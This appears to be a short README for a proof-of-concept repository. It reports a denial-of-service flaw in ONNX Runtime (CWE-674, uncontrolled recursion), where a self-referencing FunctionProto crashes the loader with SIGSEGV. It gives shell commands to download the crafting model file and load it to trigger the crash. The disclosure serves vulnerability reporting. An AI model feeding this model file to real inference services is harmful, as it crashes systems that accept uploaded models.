Yash1106/onnxruntime-recursive-dos-poc

ONNX Runtime Recursive FunctionProto DoS PoC

Vulnerability

ONNX Runtime crashes (SIGSEGV) when loading a model with self-referencing FunctionProto.

CWE

CWE-674: Uncontrolled Recursion

Affected

• onnxruntime 1.19.2 (and likely all versions)

Reproduce

pip install onnx onnxruntime
wget https://huggingface.co/Yash1106/onnxruntime-recursive-dos-poc/resolve/main/recursive_dos_poc.onnx
python3 -c "import onnxruntime as ort; ort.InferenceSession('recursive_dos_poc.onnx')"
# Crashes with exit code 139 (SIGSEGV)

Note

ONNX checker passes this model - the vulnerability is in onnxruntime's function expansion.